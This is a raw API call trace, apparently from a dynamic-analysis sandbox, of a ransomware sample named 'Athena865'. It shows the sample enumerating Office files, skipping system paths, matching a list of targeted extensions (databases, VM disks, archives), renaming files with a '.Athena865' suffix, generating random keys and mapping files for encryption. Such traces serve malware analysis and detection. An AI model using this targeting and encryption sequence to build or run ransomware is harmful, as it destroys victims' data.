RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0080.002] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0080.002] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0080.002] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0080.002] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0080.003] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0080.003] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0080.003] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0080.003] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0080.003] CloseHandle (hObject=0x17c) returned 1 [0080.003] CloseHandle (hObject=0x154) returned 1 [0080.003] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0080.003] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0080.004] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0080.004] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3ce9100, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3ce9100, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0xa00c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OCRVC.DAT", cAlternateFileName="")) returned 1 [0080.004] lstrcmpiW (lpString1="OCRVC.DAT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0080.004] lstrcmpiW (lpString1="OCRVC.DAT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0080.004] lstrcmpiW (lpString1="OCRVC.DAT", lpString2=".") returned 1 [0080.004] lstrcmpiW (lpString1="OCRVC.DAT", lpString2="..") returned 1 [0080.004] lstrcmpiW (lpString1="OCRVC.DAT", lpString2="windows") returned -1 [0080.004] lstrcmpiW (lpString1="OCRVC.DAT", lpString2="bootmgr") returned 1 [0080.004] lstrcmpiW (lpString1="OCRVC.DAT", lpString2="temp") returned -1 [0080.004] lstrcmpiW (lpString1="OCRVC.DAT", lpString2="pagefile.sys") returned -1 [0080.004] lstrcmpiW (lpString1="OCRVC.DAT", lpString2="boot") returned 1 [0080.004] lstrcmpiW (lpString1="OCRVC.DAT", lpString2="ids.txt") returned 1 [0080.004] lstrcmpiW (lpString1="OCRVC.DAT", lpString2="ntuser.dat") returned 1 [0080.004] lstrcmpiW (lpString1="OCRVC.DAT", lpString2="perflogs") returned -1 [0080.004] lstrcmpiW (lpString1="OCRVC.DAT", lpString2="MSBuild") returned 1 [0080.004] lstrlenW (lpString="OCRVC.DAT") returned 9 [0080.004] lstrcpyW (in: lpString1=0x241e89e, lpString2="OCRVC.DAT" | out: lpString1="OCRVC.DAT") returned="OCRVC.DAT" [0080.004] lstrlenW (lpString="OCRVC.DAT") returned 9 [0080.005] lstrlenW (lpString="Athena865") returned 9 [0080.005] lstrlenW (lpString=".dll") returned 4 [0080.005] lstrcmpiW (lpString1="OCRVC.DAT", lpString2=".dll") returned 1 [0080.005] lstrlenW (lpString=".lnk") returned 4 [0080.005] lstrcmpiW (lpString1="OCRVC.DAT", lpString2=".lnk") returned 1 [0080.005] lstrlenW (lpString=".ini") returned 4 [0080.005] lstrcmpiW (lpString1="OCRVC.DAT", lpString2=".ini") returned 1 [0080.005] lstrlenW (lpString=".sys") returned 4 [0080.005] lstrcmpiW (lpString1="OCRVC.DAT", lpString2=".sys") returned 1 [0080.005] lstrlenW (lpString="OCRVC.DAT") returned 9 [0080.005] lstrlenW (lpString="bak") returned 3 [0080.005] lstrcmpiW (lpString1="DAT", lpString2="bak") returned 1 [0080.005] lstrlenW (lpString="ba_") returned 3 [0080.005] lstrcmpiW (lpString1="DAT", lpString2="ba_") returned 1 [0080.005] lstrlenW (lpString="dbb") returned 3 [0080.005] lstrcmpiW (lpString1="DAT", lpString2="dbb") returned -1 [0080.005] lstrlenW (lpString="vmdk") returned 4 [0080.005] lstrcmpiW (lpString1=".DAT", lpString2="vmdk") returned -1 [0080.005] lstrlenW (lpString="rar") returned 3 [0080.005] lstrcmpiW (lpString1="DAT", lpString2="rar") returned -1 [0080.005] lstrlenW (lpString="zip") returned 3 [0080.005] lstrcmpiW (lpString1="DAT", lpString2="zip") returned -1 [0080.005] lstrlenW (lpString="tgz") returned 3 [0080.005] lstrcmpiW (lpString1="DAT", lpString2="tgz") returned -1 [0080.005] lstrlenW (lpString="vbox") returned 4 [0080.005] lstrcmpiW (lpString1=".DAT", lpString2="vbox") returned -1 [0080.005] lstrlenW (lpString="vdi") returned 3 [0080.005] lstrcmpiW (lpString1="DAT", lpString2="vdi") returned -1 [0080.005] lstrlenW (lpString="vhd") returned 3 [0080.005] lstrcmpiW (lpString1="DAT", lpString2="vhd") returned -1 [0080.005] lstrlenW (lpString="vhdx") returned 4 [0080.005] lstrcmpiW (lpString1=".DAT", lpString2="vhdx") returned -1 [0080.006] lstrlenW (lpString="avhd") returned 4 [0080.006] lstrcmpiW (lpString1=".DAT", lpString2="avhd") returned -1 [0080.006] lstrlenW (lpString="db") returned 2 [0080.006] lstrcmpiW (lpString1="AT", lpString2="db") returned -1 [0080.006] lstrlenW (lpString="db2") returned 3 [0080.006] lstrcmpiW (lpString1="DAT", lpString2="db2") returned -1 [0080.006] lstrlenW (lpString="db3") returned 3 [0080.006] lstrcmpiW (lpString1="DAT", lpString2="db3") returned -1 [0080.006] lstrlenW (lpString="dbf") returned 3 [0080.006] lstrcmpiW (lpString1="DAT", lpString2="dbf") returned -1 [0080.006] lstrlenW (lpString="mdf") returned 3 [0080.006] lstrcmpiW (lpString1="DAT", lpString2="mdf") returned -1 [0080.006] lstrlenW (lpString="mdb") returned 3 [0080.006] lstrcmpiW (lpString1="DAT", lpString2="mdb") returned -1 [0080.006] lstrlenW (lpString="sql") returned 3 [0080.006] lstrcmpiW (lpString1="DAT", lpString2="sql") returned -1 [0080.006] lstrlenW (lpString="sqlite") returned 6 [0080.006] lstrcmpiW (lpString1="VC.DAT", lpString2="sqlite") returned 1 [0080.006] lstrlenW (lpString="sqlite3") returned 7 [0080.006] lstrcmpiW (lpString1="RVC.DAT", lpString2="sqlite3") returned -1 [0080.006] lstrlenW (lpString="sqlitedb") returned 8 [0080.006] lstrcmpiW (lpString1="CRVC.DAT", lpString2="sqlitedb") returned -1 [0080.006] lstrlenW (lpString="xml") returned 3 [0080.006] lstrcmpiW (lpString1="DAT", lpString2="xml") returned -1 [0080.006] lstrlenW (lpString="$er") returned 3 [0080.006] lstrcmpiW (lpString1="DAT", lpString2="$er") returned 1 [0080.006] lstrlenW (lpString="4dd") returned 3 [0080.006] lstrcmpiW (lpString1="DAT", lpString2="4dd") returned 1 [0080.006] lstrlenW (lpString="4dl") returned 3 [0080.006] lstrcmpiW (lpString1="DAT", lpString2="4dl") returned 1 [0080.007] lstrlenW (lpString="^^^") returned 3 [0080.007] lstrcmpiW (lpString1="DAT", lpString2="^^^") returned 1 [0080.007] lstrlenW (lpString="abs") returned 3 [0080.007] lstrcmpiW (lpString1="DAT", lpString2="abs") returned 1 [0080.007] lstrlenW (lpString="abx") returned 3 [0080.007] lstrcmpiW (lpString1="DAT", lpString2="abx") returned 1 [0080.007] lstrlenW (lpString="accdb") returned 5 [0080.007] lstrcmpiW (lpString1="C.DAT", lpString2="accdb") returned 1 [0080.007] lstrlenW (lpString="accdc") returned 5 [0080.007] lstrcmpiW (lpString1="C.DAT", lpString2="accdc") returned 1 [0080.007] lstrlenW (lpString="accde") returned 5 [0080.007] lstrcmpiW (lpString1="C.DAT", lpString2="accde") returned 1 [0080.007] lstrlenW (lpString="accdr") returned 5 [0080.007] lstrcmpiW (lpString1="C.DAT", lpString2="accdr") returned 1 [0080.007] lstrlenW (lpString="accdt") returned 5 [0080.007] lstrcmpiW (lpString1="C.DAT", lpString2="accdt") returned 1 [0080.007] lstrlenW (lpString="accdw") returned 5 [0080.007] lstrcmpiW (lpString1="C.DAT", lpString2="accdw") returned 1 [0080.007] lstrlenW (lpString="accft") returned 5 [0080.007] lstrcmpiW (lpString1="C.DAT", lpString2="accft") returned 1 [0080.007] lstrlenW (lpString="adb") returned 3 [0080.007] lstrcmpiW (lpString1="DAT", lpString2="adb") returned 1 [0080.007] lstrlenW (lpString="adb") returned 3 [0080.007] lstrcmpiW (lpString1="DAT", lpString2="adb") returned 1 [0080.007] lstrlenW (lpString="ade") returned 3 [0080.007] lstrcmpiW (lpString1="DAT", lpString2="ade") returned 1 [0080.007] lstrlenW (lpString="adf") returned 3 [0080.007] lstrcmpiW (lpString1="DAT", lpString2="adf") returned 1 [0080.007] lstrlenW (lpString="adn") returned 3 [0080.007] lstrcmpiW (lpString1="DAT", lpString2="adn") returned 1 [0080.007] lstrlenW (lpString="adp") returned 3 [0080.007] lstrcmpiW (lpString1="DAT", lpString2="adp") returned 1 [0080.008] lstrlenW (lpString="alf") returned 3 [0080.008] lstrcmpiW (lpString1="DAT", lpString2="alf") returned 1 [0080.008] lstrlenW (lpString="ask") returned 3 [0080.008] lstrcmpiW (lpString1="DAT", lpString2="ask") returned 1 [0080.008] lstrlenW (lpString="btr") returned 3 [0080.008] lstrcmpiW (lpString1="DAT", lpString2="btr") returned 1 [0080.008] lstrlenW (lpString="cat") returned 3 [0080.008] lstrcmpiW (lpString1="DAT", lpString2="cat") returned 1 [0080.008] lstrlenW (lpString="cdb") returned 3 [0080.008] lstrcmpiW (lpString1="DAT", lpString2="cdb") returned 1 [0080.008] lstrlenW (lpString="ckp") returned 3 [0080.008] lstrcmpiW (lpString1="DAT", lpString2="ckp") returned 1 [0080.008] lstrlenW (lpString="cma") returned 3 [0080.008] lstrcmpiW (lpString1="DAT", lpString2="cma") returned 1 [0080.008] lstrlenW (lpString="cpd") returned 3 [0080.008] lstrcmpiW (lpString1="DAT", lpString2="cpd") returned 1 [0080.008] lstrlenW (lpString="dacpac") returned 6 [0080.008] lstrcmpiW (lpString1="VC.DAT", lpString2="dacpac") returned 1 [0080.008] lstrlenW (lpString="dad") returned 3 [0080.008] lstrcmpiW (lpString1="DAT", lpString2="dad") returned 1 [0080.008] lstrlenW (lpString="dadiagrams") returned 10 [0080.008] lstrlenW (lpString="daschema") returned 8 [0080.008] lstrcmpiW (lpString1="CRVC.DAT", lpString2="daschema") returned -1 [0080.008] lstrlenW (lpString="db-journal") returned 10 [0080.008] lstrlenW (lpString="db-shm") returned 6 [0080.008] lstrcmpiW (lpString1="VC.DAT", lpString2="db-shm") returned 1 [0080.008] lstrlenW (lpString="db-wal") returned 6 [0080.008] lstrcmpiW (lpString1="VC.DAT", lpString2="db-wal") returned 1 [0080.008] lstrlenW (lpString="dbc") returned 3 [0080.008] lstrcmpiW (lpString1="DAT", lpString2="dbc") returned -1 [0080.008] lstrlenW (lpString="dbs") returned 3 [0080.008] lstrcmpiW (lpString1="DAT", lpString2="dbs") returned -1 [0080.009] lstrlenW (lpString="dbt") returned 3 [0080.009] lstrcmpiW (lpString1="DAT", lpString2="dbt") returned -1 [0080.009] lstrlenW (lpString="dbv") returned 3 [0080.009] lstrcmpiW (lpString1="DAT", lpString2="dbv") returned -1 [0080.009] lstrlenW (lpString="dbx") returned 3 [0080.009] lstrcmpiW (lpString1="DAT", lpString2="dbx") returned -1 [0080.009] lstrlenW (lpString="dcb") returned 3 [0080.009] lstrcmpiW (lpString1="DAT", lpString2="dcb") returned -1 [0080.009] lstrcmpiW (lpString1="DAT", lpString2="dct") returned -1 [0080.009] lstrcmpiW (lpString1="DAT", lpString2="dcx") returned -1 [0080.009] lstrcmpiW (lpString1="DAT", lpString2="ddl") returned -1 [0080.009] lstrcmpiW (lpString1=".DAT", lpString2="dlis") returned -1 [0080.009] lstrcmpiW (lpString1="DAT", lpString2="dp1") returned -1 [0080.009] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OCRVC.DAT.Athena865") returned 62 [0080.009] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OCRVC.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\ocrvc.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OCRVC.DAT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\ocrvc.dat.athena865"), dwFlags=0x1) returned 1 [0080.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OCRVC.DAT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\ocrvc.dat.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0080.024] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=40972) returned 1 [0080.024] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0080.024] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0080.024] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0080.024] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0080.025] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0080.025] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0080.025] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa310, lpName=0x0) returned 0x17c [0080.027] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa310) returned 0x100000 [0080.050] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0080.050] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0080.050] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0080.050] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0080.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0080.051] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0080.051] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0080.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0080.051] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0080.051] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0080.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0080.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0080.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0080.051] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0080.052] CloseHandle (hObject=0x17c) returned 1 [0080.052] CloseHandle (hObject=0x154) returned 1 [0080.052] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0080.052] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0080.052] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0080.052] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67a5b300, ftCreationTime.dwHighDateTime=0x1ca99c5, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67a5b300, ftLastWriteTime.dwHighDateTime=0x1ca99c5, nFileSizeHigh=0x0, nFileSizeLow=0x1c99, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OEMPRINT.CAT", cAlternateFileName="")) returned 1 [0080.052] lstrcmpiW (lpString1="OEMPRINT.CAT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0080.052] lstrcmpiW (lpString1="OEMPRINT.CAT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0080.052] lstrcmpiW (lpString1="OEMPRINT.CAT", lpString2=".") returned 1 [0080.052] lstrcmpiW (lpString1="OEMPRINT.CAT", lpString2="..") returned 1 [0080.052] lstrcmpiW (lpString1="OEMPRINT.CAT", lpString2="windows") returned -1 [0080.052] lstrcmpiW (lpString1="OEMPRINT.CAT", lpString2="bootmgr") returned 1 [0080.052] lstrcmpiW (lpString1="OEMPRINT.CAT", lpString2="temp") returned -1 [0080.052] lstrcmpiW (lpString1="OEMPRINT.CAT", lpString2="pagefile.sys") returned -1 [0080.052] lstrcmpiW (lpString1="OEMPRINT.CAT", lpString2="boot") returned 1 [0080.052] lstrcmpiW (lpString1="OEMPRINT.CAT", lpString2="ids.txt") returned 1 [0080.053] lstrcmpiW (lpString1="OEMPRINT.CAT", lpString2="ntuser.dat") returned 1 [0080.053] lstrcmpiW (lpString1="OEMPRINT.CAT", lpString2="perflogs") returned -1 [0080.053] lstrcmpiW (lpString1="OEMPRINT.CAT", lpString2="MSBuild") returned 1 [0080.053] lstrlenW (lpString="OEMPRINT.CAT") returned 12 [0080.053] lstrcpyW (in: lpString1=0x241e89e, lpString2="OEMPRINT.CAT" | out: lpString1="OEMPRINT.CAT") returned="OEMPRINT.CAT" [0080.053] lstrlenW (lpString="OEMPRINT.CAT") returned 12 [0080.053] lstrlenW (lpString="Athena865") returned 9 [0080.053] lstrcmpiW (lpString1="PRINT.CAT", lpString2="Athena865") returned 1 [0080.053] lstrlenW (lpString=".dll") returned 4 [0080.053] lstrcmpiW (lpString1="OEMPRINT.CAT", lpString2=".dll") returned 1 [0080.053] lstrlenW (lpString=".lnk") returned 4 [0080.053] lstrcmpiW (lpString1="OEMPRINT.CAT", lpString2=".lnk") returned 1 [0080.053] lstrlenW (lpString=".ini") returned 4 [0080.053] lstrcmpiW (lpString1="OEMPRINT.CAT", lpString2=".ini") returned 1 [0080.053] lstrlenW (lpString=".sys") returned 4 [0080.053] lstrcmpiW (lpString1="OEMPRINT.CAT", lpString2=".sys") returned 1 [0080.053] lstrlenW (lpString="OEMPRINT.CAT") returned 12 [0080.053] lstrlenW (lpString="bak") returned 3 [0080.053] lstrcmpiW (lpString1="CAT", lpString2="bak") returned 1 [0080.053] lstrlenW (lpString="ba_") returned 3 [0080.053] lstrcmpiW (lpString1="CAT", lpString2="ba_") returned 1 [0080.053] lstrlenW (lpString="dbb") returned 3 [0080.053] lstrcmpiW (lpString1="CAT", lpString2="dbb") returned -1 [0080.053] lstrlenW (lpString="vmdk") returned 4 [0080.053] lstrcmpiW (lpString1=".CAT", lpString2="vmdk") returned -1 [0080.053] lstrlenW (lpString="rar") returned 3 [0080.053] lstrcmpiW (lpString1="CAT", lpString2="rar") returned -1 [0080.053] lstrlenW (lpString="zip") returned 3 [0080.053] lstrcmpiW (lpString1="CAT", lpString2="zip") returned -1 [0080.053] lstrlenW (lpString="tgz") returned 3 [0080.053] lstrcmpiW (lpString1="CAT", lpString2="tgz") returned -1 [0080.054] lstrlenW (lpString="vbox") returned 4 [0080.054] lstrcmpiW (lpString1=".CAT", lpString2="vbox") returned -1 [0080.054] lstrlenW (lpString="vdi") returned 3 [0080.054] lstrcmpiW (lpString1="CAT", lpString2="vdi") returned -1 [0080.054] lstrlenW (lpString="vhd") returned 3 [0080.054] lstrcmpiW (lpString1="CAT", lpString2="vhd") returned -1 [0080.054] lstrlenW (lpString="vhdx") returned 4 [0080.054] lstrcmpiW (lpString1=".CAT", lpString2="vhdx") returned -1 [0080.054] lstrlenW (lpString="avhd") returned 4 [0080.054] lstrcmpiW (lpString1=".CAT", lpString2="avhd") returned -1 [0080.054] lstrlenW (lpString="db") returned 2 [0080.054] lstrcmpiW (lpString1="AT", lpString2="db") returned -1 [0080.054] lstrlenW (lpString="db2") returned 3 [0080.054] lstrcmpiW (lpString1="CAT", lpString2="db2") returned -1 [0080.054] lstrlenW (lpString="db3") returned 3 [0080.054] lstrcmpiW (lpString1="CAT", lpString2="db3") returned -1 [0080.054] lstrlenW (lpString="dbf") returned 3 [0080.054] lstrcmpiW (lpString1="CAT", lpString2="dbf") returned -1 [0080.054] lstrlenW (lpString="mdf") returned 3 [0080.054] lstrcmpiW (lpString1="CAT", lpString2="mdf") returned -1 [0080.054] lstrlenW (lpString="mdb") returned 3 [0080.054] lstrcmpiW (lpString1="CAT", lpString2="mdb") returned -1 [0080.054] lstrlenW (lpString="sql") returned 3 [0080.054] lstrcmpiW (lpString1="CAT", lpString2="sql") returned -1 [0080.054] lstrlenW (lpString="sqlite") returned 6 [0080.054] lstrcmpiW (lpString1="NT.CAT", lpString2="sqlite") returned -1 [0080.054] lstrlenW (lpString="sqlite3") returned 7 [0080.054] lstrcmpiW (lpString1="INT.CAT", lpString2="sqlite3") returned -1 [0080.054] lstrlenW (lpString="sqlitedb") returned 8 [0080.054] lstrcmpiW (lpString1="RINT.CAT", lpString2="sqlitedb") returned -1 [0080.054] lstrlenW (lpString="xml") returned 3 [0080.054] lstrcmpiW (lpString1="CAT", lpString2="xml") returned -1 [0080.055] lstrlenW (lpString="$er") returned 3 [0080.055] lstrcmpiW (lpString1="CAT", lpString2="$er") returned 1 [0080.055] lstrlenW (lpString="4dd") returned 3 [0080.055] lstrcmpiW (lpString1="CAT", lpString2="4dd") returned 1 [0080.055] lstrlenW (lpString="4dl") returned 3 [0080.055] lstrcmpiW (lpString1="CAT", lpString2="4dl") returned 1 [0080.055] lstrlenW (lpString="^^^") returned 3 [0080.055] lstrcmpiW (lpString1="CAT", lpString2="^^^") returned 1 [0080.055] lstrlenW (lpString="abs") returned 3 [0080.055] lstrcmpiW (lpString1="CAT", lpString2="abs") returned 1 [0080.055] lstrlenW (lpString="abx") returned 3 [0080.055] lstrcmpiW (lpString1="CAT", lpString2="abx") returned 1 [0080.055] lstrlenW (lpString="accdb") returned 5 [0080.055] lstrcmpiW (lpString1="T.CAT", lpString2="accdb") returned 1 [0080.055] lstrlenW (lpString="accdc") returned 5 [0080.055] lstrcmpiW (lpString1="T.CAT", lpString2="accdc") returned 1 [0080.055] lstrlenW (lpString="accde") returned 5 [0080.055] lstrcmpiW (lpString1="T.CAT", lpString2="accde") returned 1 [0080.055] lstrlenW (lpString="accdr") returned 5 [0080.055] lstrcmpiW (lpString1="T.CAT", lpString2="accdr") returned 1 [0080.055] lstrlenW (lpString="accdt") returned 5 [0080.055] lstrcmpiW (lpString1="T.CAT", lpString2="accdt") returned 1 [0080.055] lstrlenW (lpString="accdw") returned 5 [0080.055] lstrcmpiW (lpString1="T.CAT", lpString2="accdw") returned 1 [0080.055] lstrlenW (lpString="accft") returned 5 [0080.055] lstrcmpiW (lpString1="T.CAT", lpString2="accft") returned 1 [0080.055] lstrlenW (lpString="adb") returned 3 [0080.055] lstrcmpiW (lpString1="CAT", lpString2="adb") returned 1 [0080.055] lstrlenW (lpString="adb") returned 3 [0080.055] lstrcmpiW (lpString1="CAT", lpString2="adb") returned 1 [0080.055] lstrlenW (lpString="ade") returned 3 [0080.055] lstrcmpiW (lpString1="CAT", lpString2="ade") returned 1 [0080.056] lstrlenW (lpString="adf") returned 3 [0080.056] lstrcmpiW (lpString1="CAT", lpString2="adf") returned 1 [0080.056] lstrlenW (lpString="adn") returned 3 [0080.056] lstrcmpiW (lpString1="CAT", lpString2="adn") returned 1 [0080.056] lstrlenW (lpString="adp") returned 3 [0080.056] lstrcmpiW (lpString1="CAT", lpString2="adp") returned 1 [0080.056] lstrlenW (lpString="alf") returned 3 [0080.056] lstrcmpiW (lpString1="CAT", lpString2="alf") returned 1 [0080.056] lstrlenW (lpString="ask") returned 3 [0080.056] lstrcmpiW (lpString1="CAT", lpString2="ask") returned 1 [0080.056] lstrlenW (lpString="btr") returned 3 [0080.056] lstrcmpiW (lpString1="CAT", lpString2="btr") returned 1 [0080.056] lstrlenW (lpString="cat") returned 3 [0080.056] lstrcmpiW (lpString1="CAT", lpString2="cat") returned 0 [0080.056] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OEMPRINT.CAT.Athena865") returned 65 [0080.056] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OEMPRINT.CAT" (normalized: "c:\\program files\\microsoft office\\office14\\oemprint.cat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OEMPRINT.CAT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\oemprint.cat.athena865"), dwFlags=0x1) returned 1 [0080.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OEMPRINT.CAT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\oemprint.cat.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0080.057] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7321) returned 1 [0080.057] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0080.058] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0080.058] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0080.058] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0080.058] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0080.058] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0080.059] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1fa0, lpName=0x0) returned 0x17c [0080.060] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1fa0) returned 0x100000 [0080.061] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0080.062] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0080.062] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0080.062] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0080.062] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0080.062] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0080.062] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0080.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0080.063] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0080.063] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0080.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0080.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0080.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0080.063] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0080.063] 